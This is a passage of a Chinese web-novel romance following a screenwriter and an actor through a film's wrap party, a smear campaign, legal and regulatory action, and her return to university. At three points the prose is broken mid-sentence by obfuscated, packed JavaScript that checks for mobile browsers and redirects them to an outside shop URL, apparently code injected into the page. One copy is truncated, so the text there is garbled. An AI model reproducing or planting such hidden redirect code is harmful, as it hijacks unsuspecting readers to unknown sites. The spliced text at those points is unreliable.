那里面没有杀青的狂喜,只有一种厚重的、尘埃落定后的安宁,以及一丝清晰的、直达眼底的温和。 他看着她,然后,很轻地,对她弯起了唇角。 那不是一个大笑,甚至算不上一个明显的笑容。只是一个极其细微的、嘴角上扬的弧度。 但在这个喧嚣的背景里,在那个只有他们彼此懂得的凝视中,这个细微的表情,却比任何欢呼和拥抱都更有分量。 它像是在说:我们,走过来了。 闻朝望着他,望着他眼中那片平静的海,和他唇角那点微不可察的暖意。然后,她也轻轻地,几不可察地,扬起了嘴角。 没有靠近,没有言语。 只是在这片属于《骤雪止》的、沸腾的终章里,隔着整个剧组的狂欢,完成了一次只有他们两人知晓的、无声的确认与告别。 戏,拍完了。 那场“众叛亲离”的戏,经过后期精剪和配乐,作为《骤雪止》的第一支正式人物预告片片段,在一个月后悄然释出。 没有大肆宣传,只是静静地出现在官微和几个核心影视平台。黑白影调,极简构图,只有手指与文件摩擦的细微声响,和沈淮时最后那个平静却蕴含千钧之力的眼神。 这短短的几十秒,像一颗投入湖面的石子,激起的却并非喧哗的浪花,而是一片深沉的、蔓延开去的静默与震撼。 评论区被“高级”、“演技封神”、“于无声处听惊雷”、“这才是演员”等词汇刷屏。 之前所有关于私德、绯闻、病弱的喧嚣,在这纯粹而强大的表演面前,显得如此苍白与微不足道。 作品本身,终于开始夺回话语权。 42. 要说再见了 杀青后的第三天,剧组包下了影视基地附近一家颇有格调的酒店宴会厅,举办《骤雪止》的杀青宴。 没有了拍摄时的紧绷与压力,空气里弥漫着放松的、劫后余生般的欢庆气息。 灯光柔和,音乐舒缓,长桌上摆满了精致的餐点和酒水。 演员们卸下了戏妆,换上了私服,三三两两地聚在一起,举杯畅谈,笑声不断。陈导和制片人红光满面,穿梭在人群中,接受着来自各方的祝贺与敬酒。 闻朝也换了身相对正式些的连衣裙,和宋枝、陆易安一起坐在靠窗的一桌。 桑华也凑了过来,叽叽喳喳地说着杀青那晚的趣事。气氛轻松愉悦,仿佛连日来的阴霾真的被这场盛大的聚会彻底驱散了。 闻朝的目光偶尔会掠过人群,看向他。 沈淮时穿着简单的白衬衫和黑色长裤,坐在主桌附近,身边围拢着导演、制片和几位重要的资方代表。 他脸上带着得体的、略显疏离的微笑,偶尔颔首,与人碰杯,姿态从容,却依旧能让人感觉到他与这片热闹之间,隔着一层无形的薄膜。 他们的视线在空中短暂交汇过一两次,都只是礼节性地微微颔首,便迅速移开,融入各自的交谈圈中。 在这种公开的、众目睽睽的场合,保持距离是彼此心照不宣的默契。 宴会进行到中段,气氛愈发热烈。 就在这时,宴会厅一侧的大屏幕忽然亮了起来,播放的不是剧集花絮,而是一段经过精心剪辑的短片。背景音乐是沉静而有力量的钢琴曲。 画面一开始,是快速闪回的网络截图:那些关于“礼物风波”、“私生活”、“编剧绯闻”的耸动标题、恶意评论、模糊照片,像潮水般涌过屏幕,配以令人不安的音效。 紧接着,画面一转,出现了沈淮时在风暴中心那简短视频采访的片段,他平静而坚定的声音响起:“我的答案,会留在作品里。” 随后,画面切入剧组官微发布的一系列高质量工作花絮:沈淮时与老戏骨对戏的专注,深夜与导演讨论分镜的认真,顺手扶起场务的细微动作,以及那场“众叛亲离”戏份里,他沉静如水的侧脸和指尖的专注。 这些真实的片段,与之前那些扭曲的截图形成了鲜明对比。 再然后,屏幕上出现了那篇财经深度报道的关键段落和图表,冰冷的文字和数据,揭示着资本操控的阴影。 最后,画面定格在几个被显著标记、并打上“已启动法律程序”字样的营销号ID和文章标题上。 短片结束时,宴会厅里出现了短暂的寂静。所有人都看着屏幕,表情各异,有恍然,有解气,有沉思。 陈导端起酒杯,走到前方的小发言台前,敲了敲话筒。他没有慷慨激昂的演讲,声音平稳而有力: “各位同仁,各位朋友。今天是我们《骤雪止》杀青的日子,本该只谈风月,只庆功成。但有些事,有些话,我觉得有必要,在这里,和大家,也向所有关注着我们的人,做一个交代。” 他环视全场,目光扫过每一张熟悉或不那么熟悉的面孔。 “过去这几个月,我们这部影片,我们这个集体,经历了什么,大家心里都清楚。一场无妄之灾,一次精心策划的舆论围剿。目标不仅仅是我们中的某个人,更是我们共同倾注心血的作品,是我们坚守的创作底线和行业环境。” 他顿了顿,语气加重,“但我们挺过来了。靠的是什么?靠的是在座每一位的专业、坚持和信任。靠的是我们对作品的敬畏,对观众的负责。也靠我们敢于拿起法律的武器,去回击那些躲在暗处、肆意泼洒污水的行为。” “刚才的短片,大家都看到了。那不是卖惨,也不是炫耀。那是一次记录,一次澄清,更是一次宣言。”陈导的声音提高了一些,带着不容置疑的决心,“《骤雪止》的征程,不会止于今天的杀青宴。对于网络上那些持续散播不实信息、恶意中伤、企图破坏行业健□□态的个人和组织,我们的法律程序,已经启动,并将坚决推进到底。这不仅是为了维护沈淮时先生、闻朝女士以及每一位被无辜卷入的同仁的合法权益,更是为了给所有认真创作的人,争取一个更干净、更公平的环境!” 掌声,起初是零星的,随即迅速汇聚成一片热烈而持久的声浪。许多人站了起来,用力鼓掌,脸上带着激动和认同。 这段时间压抑在心头的憋闷和愤怒,仿佛终于找到了一个宣泄和正名的出口。 闻朝坐在座位上,掌心微微出汗。她没想到,杀青宴上会有这样一出。 这无疑是沈淮时团队和陈导、乃至资方,经过周密筹划后的一次联合“亮剑”。 在项目最重要的庆祝时刻,用最直接的方式,将反击的姿态公之于众,既振奋了内部士气,也向外界释放了最强硬的信号。 她的目光不由自主地再次投向沈淮时。 他依旧坐在那里,没有起身,也没有特别的表情,只是平静地注视着发言台的方向,手指无意识地摩挲着酒杯的杯脚。 但闻朝能感觉到,他周身那种沉静的气场,在此刻的掌声与瞩目中,仿佛凝聚成了某种更坚实、更有力的存在。 陈导讲完,资方代表也上台简短发言,表达了坚定支持项目、维护主创团队、共同净化行业风气的态度。 宴会厅的气氛,在经历了短暂的肃穆后,重新变得热烈起来,但这份热烈里,明显多了一种扬眉吐气的底气和同仇敌忾的凝聚力。 散场时,已是深夜。众人互相道别,陆续离开。闻朝和宋枝、陆易安走出酒店,夜风带着凉意。 “没想到还有这一出,”宋枝挽着闻朝的手臂,小声说,“够硬气!这下看那些黑子还敢不敢蹦跶。” 陆易安则若有所思,“这不仅仅是表态。杀青宴媒体众多,消息会很快散出去。这是将‘法律维权’和‘清朗行动’直接绑定了,占据了舆论和道德的制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313003|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高点。后续无论官司打成什么样,至少在公众认知里,《骤雪止》剧组是被恶意中伤后奋起反抗的受害者形象。” 闻朝点点头。是的,这是一次精心策划的舆论反攻。从财经报道揭开冰山一角,到杀青宴上公开亮剑,步步为营。 就在她们准备上车时,身后传来一个温和的声音:“闻编剧,请留步。” 闻朝回头,是沈淮时的经纪人杨露。她脸上带着职业化的微笑,走到闻朝面前,递过来一个看起来颇为正式的浅灰色文件夹。 “闻编剧,这是周律师那边整理好的、需要您最终确认并签署的部分法律文件副本。关于您同意配合诉讼的声明,以及相关证据材料的确认书。”杨露的声音不高,恰好能让她们三人听清,“周律师说,如果您这边没有异议,签好后可以快递到他的办公室。另外……” 她顿了顿,目光扫过宋枝和陆易安,又落回闻朝脸上,语气稍微放缓了些,“淮时让我转告您,这段时间,辛苦了。后续的法律事宜,团队会全力跟进,您这边主要就是配合确认,不会占用您太多私人时间。也希望您能尽快开始新的创作。” 一番话,滴水不漏。既交代了公事,又传达了沈淮时私下的谢意与关切,还礼貌地暗示了“保持距离,各自前行”的期许。 闻朝接过文件夹,触手微凉,“谢谢杨姐,也请替我谢谢沈老师。文件我会仔细看,尽快回复周律师。” “好的。那就不打扰了,三位慢走。”杨露得体地点点头,转身离开了。 坐进车里,宋枝忍不住吐槽:“这位杨姐,真是把‘专业’和‘边界感’刻在骨头里了。” 陆易安笑了笑,“她这个位置,不容易。既要维护艺人利益,又要处理各种复杂关系。这样也好,公事公办,清清楚楚。” 闻朝没说话,只是借着车内昏暗的光线,翻开了那个文件夹。 里面是厚厚一叠法律文书,条条款款,严谨冰冷。她的目光落在需要她签名的那几页,关于“澄清与沈淮时先生仅为专业工作关系”的声明,关于“指控相关不实言论构成诽谤”的确认…… 白纸黑字,即将为那段悬而未决的时光,画上一个法律意义上的句点。 她合上文件夹,看向窗外飞速倒退的流光。 戏已落幕,宴席已散。 法律程序启动,舆论的反击号角也已吹响。 属于《骤雪止》的战役,正在从拍摄现场,转向法庭和更广阔的舆论场。 而她和沈淮时之间,那点尚未真正开始、便被风暴席卷的私密情愫,或许也将随着这些文件的签署,被正式归档,封存于“工作关系”的标签之下,成为这段颠沛时光里,一个只有彼此知晓的、隐秘的注脚。 车子驶入夜色深处。 前方,是新的开始,也是旧的彻底终结。 闻朝握紧了手中的文件夹,指尖微微用力。 无论如何,路还要继续走。 43. 网络并非法外之地 杀青的狂欢与疲惫过后,日子骤然空了下来。 闻朝回到公寓,第一件事便是关掉手机,拉紧窗帘,在连续睡了近二十个小时后,才感觉自己从那种持续数月的高压状态中,勉强抽离出几分人形。 宋枝和陆易安在她昏睡期间,像两个尽职的田螺姑娘,将公寓收拾得焕然一新,冰箱里塞满了食物。 她们没有过多追问剧组后续,只是在她醒来后,递上一碗温热的汤,陪着她看了两集无需动脑的综艺。 网上关于《骤雪止》杀青的消息,伴随着官方发布的杀青合照和特辑,再次掀起了一阵讨论。 照片里,沈淮时站在人群中央,依旧清瘦,但神色平和,与陈导等人谈笑自若。关于他病情的猜测渐渐平息,取而代之的是对这部“命运多舛”却终于完成拍摄的影片的期待与好奇。 那场“众叛亲离”的戏,被官微剪成了一个十几秒的意境短片,没有台词,只有光影与沈淮时极致细腻的表演,配以一段宿命回响的纯音乐,竟意外地获得了极高的转评赞,被誉为“演技的无声盛宴”。 这似乎是一个积极的信号,舆论的关注点,正在被努力拉回到作品本身。 然而,树欲静而风不止。 就在杀青后第四天,一个注册不久、粉丝寥寥的匿名账号,突然在某隐秘的八卦论坛发布了一篇长文。 文章没有直接点名,却用极其详尽的“内部人士”口吻,详细“披露”了《骤雪止》拍摄期间“不堪的内幕”:包括沈淮时如何倚仗咖位压榨编剧、强行加戏改戏;编剧闻朝如何“曲意逢迎”、借机上位的诸多细节;甚至暗示剧组经费管理混乱,资方投入与最终成片质量严重不符等等。 文章写得绘声绘色,细节丰富到仿佛作者亲身经历,极具煽动性和迷惑性。 这篇文章像一颗投入看似平静湖面的深水炸弹,迅速被几个早已伺机而动的营销号搬运、加工、扩散。#骤雪止内幕#、#沈淮时耍大牌压榨编剧#、#剧组黑幕#等词条以一种不正常的速率冲上热搜榜。 虽然大多数理智的粉丝和路人持观望态度,但那些本就对沈淮时抱有偏见、或是闻朝“绯闻”事件中留下的恶意窥探者,却如获至宝,开始疯狂传播、添油加醋。 这一次的攻击,角度更加刁钻,不再局限于个人私德,而是直接指向职业操守和项目根本。试图从内部瓦解剧组凝聚力,打击主创声誉,甚至在成片上映前就败坏观众缘。 闻朝看到这些消息时,正在和宋枝、陆易安吃早饭。 宋枝气得差点摔了勺子,怒骂道:“没完了是吧?!这又是哪路牛鬼蛇神?杀青了都不让人消停!” 陆易安眉头紧锁,快速滑动手机屏幕,声音冷静,“这次手法更老道,不是简单造谣,而是真假掺半,利用部分可能存在的剧组内部信息,进行恶意扭曲和夸大。很难用单纯的‘诽谤’去反驳,容易陷入‘越描越黑’的陷阱。” 闻朝看着屏幕上那些不堪入目的揣测和对自己专业能力的污蔑,心口像堵了一块冰,寒意蔓延。 她想起沈淮时病中坚持看剧本的样子,想起他们为了一句台词反复推敲的日夜,想起整个剧组在压力下咬牙前行的点滴……这些真实的、沉重的付出,在那些匿名的恶意笔下,变得如此龌龊不堪。 手机震动,是周律师发来的消息,言简意赅:【新情况已关注,正在评估。请暂勿对外发声。】 几乎是同时,陈导也发来一条语音,声音带着压抑的怒火和疲惫,“闻朝,网上的东西别去看,别回应。资方和制片方已经紧急开会了,这次……没那么简单。估计是有人看项目杀青,想来最后搅合一棍子,能搞臭多少算多少。” 山雨欲来风满楼。 手机震动起来。是一个没有储存的本地座机号码。 她接起。 “闻朝小姐吗?您好,我是国家互联网信息办公室网络综合治理局的办事员,我姓王。”对方的声音清晰、沉稳,带着公事公办的官方口吻。 闻朝的心猛地一跳,“您好,王先生。请问有什么事?” 看到宋枝和陆易安投过来了的探寻的目光,闻朝默不作声地点开了免提。 “关于近期网络上涉及您本人以及电影《骤雪止》剧组、演员沈淮时先生的一系列不实信息和恶意炒作事件,我们目前正在依法进行核查处置。有些情况,希望向您了解一下,也需要您这边提供一些必要的协助和证据材料。” 王先生的语气平和,却带着不容置疑的严肃性,“您看什么时间方便,我们可以约个地点见面详谈?或者,如果您觉得方便,也可以来我们办公地点。” 互联网信息办公室……网络综合治理……核查处置…… 这几个词组合在一起,分量不言而喻。 闻朝握紧了手机,指尖有些发凉。那篇财经报道,周律师的法律程序,终于,引起了更高层面的关注? “我……方便。”闻朝定了定神,“时间地点,您定就好。我需要准备什么材料吗?” “具体需要哪些,见面时我们会详细告知。主要是相关不实信息的截图、链接,以及您所了解的事件背景和可能线索。如果涉及您与沈淮时先生工作往来的正常记录,也可以提供,以作澄清比对。” 王先生顿了顿,补充道, “请您放心,我们这次专项行动,重点打击的就是有组织、有预谋的网络水军、恶意营销以及利用信息网络实施诽谤、寻衅滋事等违法行为,旨在净化网络空间,保护公民合法权益。您的配合对我们很重要。” “我明白了。”闻朝说,“我会尽力配合。” 约好次日上午见面地点后,闻朝挂了电话,坐在椅子上,久久没有动弹。 窗外的阳光很好,她却感到一股寒意从心底蔓延开来。 这不是娱乐记者的小打小闹,不是律师函的威慑,而是国家行政力量的直接介入。意味着这场风波的严重性,已被定性,并即将迎来官方的、强有力的清算。 挂完电话之后, “这是好事!”宋枝声音激动,“终于等到这天了!那些躲在键盘后面的臭虫,就该被揪出来!” 陆易安则更冷静,“朝朝,去的时候,把之前我们整理的那些可疑账号信息带上。但记住,只陈述事实,不猜测,不引申。配合调查,但也保护好自己。” “我知道。”闻朝深吸一口气。 她又犹豫了一下,还是给周律师发了一条信息,告知了网信办联系她的事。 周律师很快回复,表示知晓,并提醒她注意陈述的客观性,如果有需要,可以安排律师陪同。 闻朝婉拒了,她不想将事情弄得更复杂。 接着,她点开了那个许久没有对话的、属于沈淮时的对话框。手指在键盘上悬停许久,最终,还是只发过去一句简短的话: 【网信办刚联系我,关于之前的事,需要我配合调查。告知你一声。】 消息发送出去,石沉大海。直到晚上临睡前,才收到一条极简的回复:【已知悉。如实配合即可。保重。】 语气平静,公事化,听不出太多情绪。 但闻朝知道,他那边,恐怕也早已接到了类似的通知,甚至更早。 第二天,闻朝提前半小时到达约定的地点。 一家位置僻静、安保严格的机关招待所小会议室。王先生是一位四十岁上下、戴着眼镜、气质斯文却目光锐利的男子,还有一位负责记录的年轻女同事。 询问过程比想象中更长,也更细致。 闻朝按照要求,提供了她所能提供的所有材料:从最初“礼物风波”和“绯闻炒作”的截图链接,到后来陆易安宋枝整理的可疑账号分析。 她客观陈述了事件对她个人工作、生活造成的影响,以及她所了解的、对《骤雪止》项目造成的干扰。 关于她和沈淮时的关系,她只强调是“正常、专业的工作合作”,并提供了部分工作邮件和剧本修改记录作为佐证。 王先生问得很细,尤其是关于那些线索中指向的资本关联和人员动向。 闻朝如实回答自己并不掌握核心证据,所知均来自网络信息和他人转告。 整个过程中,王先生态度专业而严谨,没有施加任何压力,但那种代表国家机关进行调查的肃穆感,依然让闻朝手心微微出汗。 询问持续了近三个小时。结束时,王先生与她握手,“感谢闻小姐的配合。您提供的材料很有价值。请相信,网络空间不是法外之地,任何违法行为都将受到法律的严惩。后续可能还会有需要您协助的地方,请保持通讯畅通。” “我会的。”闻朝点头。 走出招待所,午后的阳光有些刺眼。 她站在路边,有种恍如隔世的感觉。 刚才那三个小时,像是对过去数月所有混乱、愤怒、无助的一次正式归档和上交。 接下来,将不再是个人或某个团队的单打独斗,而是更强大的力量接手处理。 她不知道最终结果会如何,那些躲在暗处的人会受到怎样的惩罚。但至少,她做了她能做的。 然而,就在这篇“内幕长文”发酵了大约三天,讨论度达到一个高峰时,形势突然发生了任何人都未曾预料的逆转。 最先行动的,并非沈淮时工作室,也不是《骤雪止》剧组官微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一切,似乎都串联了起来。对方的一次次攻击,或许早已引起了更高层面的警觉。而这次杀青后的最后一搏,恰好成了引爆整顿的导火索。 这不再是娱乐圈的粉黑大战,也不再是简单的资本博弈,而是上升到了社会治理和网络空间清朗的层面。 那些躲在暗处、依靠水军和营销号兴风作浪的力量,第一次感受到了来自国家机关的、无可抗拒的震慑。 手机再次震动。这次是沈淮时工作室的官方账号发布了一则简短声明,语气是前所未有的强硬: “针对近期网络上出现的关于沈淮时先生及《骤雪止》剧组的诸多不实信息与恶意诋毁,我方已完成全部证据固定,并正式向公安机关报案,同时向法院提起多起名誉权诉讼。网络非法外之地,对于一切违法行为,我方必将追究到底,绝不姑息。感谢各界关注,清者自清,浊者自浊。作品即将面世,一切交由观众评判。” 声明下方,附上了几张“报警回执”和“法院立案通知书”的截图,虽然没有透露具体被告,但姿态已然鲜明。 几乎在同一时间,《骤雪止》剧组官微也转发了这条声明,并附言:“正道不孤,德必有邻。感谢所有坚守创作初心的同仁,感谢所有耐心等待的观众。《骤雪止》,静待相逢。” 一软一硬,配合得天衣无缝。 这场持续数月、几度翻转、耗费了无数人心力的舆论风暴,似乎在这一天,随着国家层面的重拳出击和当事人毫不退让的法律亮剑,骤然被撕开了一道巨大的口子,阳光猛烈地照了进来。 虽然谁都知道,网络环境的彻底清朗非一日之功,暗处的蛆虫也不会就此绝迹。 但至少,一个明确的信号已经发出:无底线造谣、恶意攻击、操控舆论的时代,或许真的要过去了。 闻朝关掉手机,走到窗边,推开窗户。 暮春的风带着热气灌入,却吹得人神清气爽。天空是久违的、澄澈的蔚蓝色。 宋枝和陆易安走到她身边。 “结束了?”宋枝问,语气里还有些不敢置信。 “这一波,应该算是过去了。”陆易安望着远处的天空,“至少,短时间内,没人敢再顶风作案,用那种下作手段了。” 闻朝没有回答,只是深深吸了一口清冷的空气。 结束了吗? 对于这场针对她和沈淮时、针对《骤雪止》的恶意围剿,或许是的。 但对于他们各自的人生,对于那部尚未与观众见面的作品,对于她和沈淮时之间那悬而未决的一切…… 一切,似乎都才刚刚开始。 44. 没有后来,就已经是最好的结局了…… 清朗行动的雷霆之势,像一记重锤,暂时砸碎了盘旋数月、令人窒息的阴霾。 那些曾经喧嚣不已的“内幕”、“黑料”词条消失得无影无踪,被封禁的账号名单还在不断增加,偶尔有零星的不甘低语,也迅速被更宏大的、关于网络环境整治的讨论所淹没。 闻朝的生活,以一种近乎迟缓的速度,回归到最原始的轨道。 她退了租住数月的公寓。钥匙交还给房东时,那个总是笑眯眯的中年阿姨还特意多看了她两眼,说了句:“姑娘,这段日子累坏了吧?回去好好歇歇。” 宋枝和陆易安的假期也到了尾声。 三个人最后一起打扫了空荡荡的公寓。地板光可鉴人,窗户明亮如新,仿佛她们从未在此经历过那些惊心动魄的日夜。 阳台上那盆被陆易安救活的绿萝长得正好,她们把它送给了房东阿姨。 关上门的刹那,轻微的“咔哒”声,像为这段北京插曲画上了一个干脆利落的句号。 机场候机厅里,人流熙攘。巨大的玻璃窗外,飞机起起落落,将人们送往四面八方。 “真就这么走了?”宋枝靠在椅背上,看着窗外一架腾空而起的银白色飞机,语气里有些怅然,“感觉像做了一场好长好长的梦。” “梦醒了,该回去上课了。”陆易安推了推眼镜,手里翻着一本专业书,语气平静,“我的毕业论文开题报告,导师已经催了三次了。” 闻朝笑了笑,没说话。 她的机票是回郑州的。那里有她熟悉的街道,有等着她回去处理的一些私人事务,也有……一段需要重新捡起、或彻底放下的、属于过去的平静生活。 “朝朝,”宋枝转过身,认真地看着她,“你跟沈淮时……后面怎么办?” 这个问题,像一根细小的针,轻轻刺破了候机厅里喧闹却浮于表面的气氛。 闻朝沉默了一下,目光落在自己交握的双手上。指甲修剪得很干净,指腹因为长时间握笔和敲键盘,有一层薄薄的茧。 “不知道。”她诚实地说,声音很轻,“先把眼前的事做完吧。他应该……也很忙。” 后续的法律程序、项目的后期制作、以及必然随之而来的宣传期…… 沈淮时的时间,恐怕会被塞得更满。而她自己,也需要时间,来消化这几个月发生的一切,来理清那些混杂着创作激情、战友情谊、以及未及言明的心动的复杂情绪。 “顺其自然吧。”陆易安合上书,看向闻朝,“有些事,急不来。就像种一棵树,风雨洗礼过了,根扎得深不深,以后才知道。” 广播响起登机提示,是宋枝和陆易安的航班。 “走了!”宋枝跳起来,用力抱了抱闻朝,“随时联系!等我放假去找你玩!” 陆易安也起身,抱了抱她,在她耳边轻声说:“照顾好自己。无论做什么决定,我们都支持你。” “嗯。你们也是。”闻朝回抱她们,鼻尖微微发酸。 看着两个好友拉着行李箱,身影消失在安检通道的拐角,闻朝在原地站了一会儿。 候机厅的喧嚣似乎瞬间离她很远,一种独行般的空寂感悄然包裹上来,但并不让人难受,反而有种尘埃落定后的清晰。 她拿出手机,点开微信。置顶的对话框里,最后一条消息还停留在几天前,他发来的那句“保重”。 她指尖悬在屏幕上方,犹豫片刻,最终还是没有输入任何字句,只是关掉了屏幕。 有些话,不必急于此时说出口。有些路,需要各自先走一段。 手机在关机前,最后震动了一下。 是《骤雪止》剧组官微的推送,关于后期制作顺利推进的简短通报,配图是一张调色工作室的图片,屏幕上隐约是顾嘉言的侧影。 她看了一眼,然后,关掉了手机。 引擎的轰鸣声均匀而持续,像一种白噪音,抚平着纷乱的思绪。她闭上眼。 飞机冲上云霄,将北京城的轮廓远远抛在下方,缩成一片模糊的、由线条和光点组成的网格。闻朝靠着舷窗,望着窗外无边无际的、纯净的蔚蓝,和下方棉花糖般蓬松洁白的云层。 那些紧张、焦虑、愤怒、并肩作战的炙热、以及深夜无人时细微的悸动,都仿佛被留在了那片逐渐远去的、厚重的云层之下。 ------ 当飞机轮子重重擦过郑州机场跑道的沥青地面,发出一阵沉闷的摩擦声时,闻朝从浅眠中醒来。 舱门打开,熟悉的、属于中原暮春的、干燥而略带尘土气息的空气,混着机场特有的消毒水味道,涌入鼻腔。她深深地、缓缓地吸了一口气,又缓缓吐出。 她回来了。 拖着那个陪伴她往返数次、边角已有些磨损的渐变蓝行李箱,随着人流走出大厅。 打车回了学校,车子驶上熟悉的城市道路。沿途的街景在车窗外飞速倒退,熟悉的商铺招牌,路口枝叶愈发茂盛的梧桐,街边新开或倒闭的店面…… 城市在她离开的这几个月里,似乎遵循着自身的逻辑悄然新陈代谢了一些细节,但整体的骨架与气息,依然是她离开时的模样,让人心安,又隐约有些隔阂。 车子停在校门口。她付钱,下车,拖着行李箱走在傍晚的校园林荫道上。 正是下课时间,三三两两的学生说笑着与她擦肩而过,空气里飘着食堂的饭菜香和草木清香。 宿舍里一切如旧,只是自己的书桌上,均匀地覆盖了一层薄薄的灰尘。 室友们都去上课了,她请了近一个月的假,现在也要结束了。 她放下行李,推开所有的窗户,带着植物清香气味的穿堂风立刻涌了进来。 然后,她挽起袖子,接水,浸湿抹布,开始慢条斯理地打扫。擦拭书桌、椅背、衣柜表面,清洗床单被套,将行李箱里带回来的、带着北京气息的衣物,一件件抖开,挂进满是樟脑丸味道的衣柜。 傍晚时分,室友陆续回来,见到她都惊喜地围过来。 “朝朝回来啦!” “北京好玩吗?拍戏是不是特有意思?” “累坏了吧?看你瘦了。” 七嘴八舌的问候,带着未经世事的单纯热情。 闻朝笑着——回答,避重就轻。她们好奇的是光鲜的“剧组生活”,对那之下的暗流汹涌并无概念,也无须知道。 夜里,室友们都已睡下,只有她书桌上的台灯还亮着一小圈温暖的光晕。 她打开笔记本电脑,屏幕幽幽地亮起,自动恢复的页面不再是《骤雪止》任何一个熟悉的剧本文档,而是一片空白的新建页面。 光标在纯白的背景上,一下,一下,规律地闪烁着,像一颗等待被填充的、沉默的心脏。 她盯着那片空白看了很久,手指放在键盘上,却迟迟没有敲下第一个字。 脑海里闪过很多画面。 沈淮时在消防通道里说“生病的时候”侧脸落下的阴影,陈导拍在她肩上的重重一按,桑华亮晶晶的眼睛,宋枝和陆易安在机场安检口回头的挥手…… 所有这些,像被打碎的万花筒碎片,色彩斑斓,却拼不成一个完整的、可以向人言说的故事。 最终,她只是新建了一个文件夹,命名为“北京·春”。 然后,她关掉了文档,点开了教务系统,开始查询落下的课程安排和需要补交的作业。 现实的生活,带着它不容置疑的惯性,重新将她拉回轨道。 第二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322352|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,她去系里销假,见了导师。 导师是个温和的中年学者,对她这段“社会实践”表示了理解,但话锋一转,便落到了她落下的课程和即将到来的期末考试上。 “闻朝,你的基础好,但缺了这么多课,得抓紧补上。”导师推了推眼镜,“还有,你之前提过想申请的那个创作扶持项目,截止日期也快到了。剧本大纲有了吗?” 闻朝这才猛地想起,在去北京之前,她确实计划申请一个青年编剧的扶持计划,还初步构思了一个关于老街改造与人间烟火的故事。那构思如今想来,竟有些遥远和稚嫩了。 “还在完善。”她只能这样回答。 “抓紧时间。”导师点点头,“生活体验是好事,但最终还是要落到创作上。别让这段经历,只停留在经历本身。” --- 早八的闹钟,堆积的课程作业,导师反复催问的论文方向……曾经令她头痛的校园日常,以一种不容置疑的姿态,重新填满了她的时间表。 一切好像都回到了最初的样子。上课,图书馆,食堂,宿舍。简单,规律,甚至有些重复到令人麻木。 尽管有时候,冗长的课堂、枯燥的文献、还有同龄人关于考研就业的焦虑议论,会让她感到一阵熟悉的厌倦,忍不住在心里小声抱怨。 但奇异地,那段在北京经历的、充满了不确定性与高压的“乌托邦”般的日子,如今回想起来,竟成了缓解当下平淡生活中偶尔泛起的小烦躁的一剂良药。 对比之下,此刻的“枯燥”也显出一种安稳的珍贵。 和那个遥远如星辰、却又曾短暂地并肩同行过的人,有过这样一场深刻交集,对她而言,便已经像是命运额外馈赠的、足够回味许久的篇章了。 每每宋枝或陆易安在视频或微信里,旁敲侧击或直接发问“你们后来联系过吗?”“他有没有说什么?”时,闻朝总是语塞。 她不知道该如何描述现在这种状态。没有联系,但似乎又并非全然断联;好像什么都说了,又好像什么都未曾真正言明。 她只能摇摇头,或者含糊地答一句“就那样,没有后来,就已经是最好的结局了。”,然后迅速转移话题。 生活的主旋律还是要继续向前流淌的,她只能学着将那段插曲妥善安放,装作什么都没有发生、什么承诺都没有交换过的样子, 大约一周后,她收到了一个从北京寄来的快递。不大的纸盒,寄件人信息只简单打印着“《骤雪止》剧组”。 她拆开,里面是几样东西:一份装订整齐的、带有最终修改标注的完整剧本;一张全体工作人员的杀青大合影,照片上大家笑得灿烂,沈淮时站在陈导旁边,微微颔首,目光沉静;还有一枚小小的、金属质感的雪花书签,背面刻着“骤雪止于春日”的手写体字样,字迹清峻,她认得,是沈淮时的笔迹。 没有附信,没有任何多余的话。 闻朝拿起那枚雪花书签,冰冷的金属触感在指尖蔓延。她翻到背面,指尖轻轻抚过那行刻字,仿佛能感受到刻写时细微的力道。 “骤雪止于春日”。 是剧中顾嘉言最后一句台词的变体,也是他对命运、对苦难的一种释然与期许。 她将书签夹进了正在看的一本专业书里。那冰凉的触感,像一个小小的、沉默的锚点,将她飘忽的思绪,轻轻地、稳固地,定在了某个地方。 然后,她打开那份最终剧本,翻到自己反复修改过的、顾嘉言在卫生间的那场独角戏。页面边缘空白处,不知是谁用铅笔极轻地写了一个字: “懂”。 字迹有些潦草,力透纸背。 闻朝盯着那个字看了很久,然后,轻轻地、缓缓地,合上了剧本。 45. 你是万古长青的远山 六月初的郑州,暑气已悄然潜行。 阳光从温和变得炙热刺眼,空气里开始浮动着看不见却感觉得到的灼热粒子。 当裹挟着地面蒸腾气息的暖风,迟缓地漫过整座城市,连路边梧桐宽大的叶片都显得有气无力。 街角新开的独立咖啡馆,像一处精心布置的避难所。冷气充足,恰到好处地将门外无声翻滚的热浪隔绝。 不知从什么时候起,闻朝开始频繁地流连于咖啡馆。 或许是因为这里有一种介于市井喧嚣与绝对寂静之间的、微妙的平衡感。 此刻,她撑着下巴,坐在惯常的靠窗位置。 面前摊开的不是剧本,也不是小说,而是几本厚重的、关于中国古典文学和文艺理论的学术著作,以及一沓做了密密麻麻批注的打印论文。 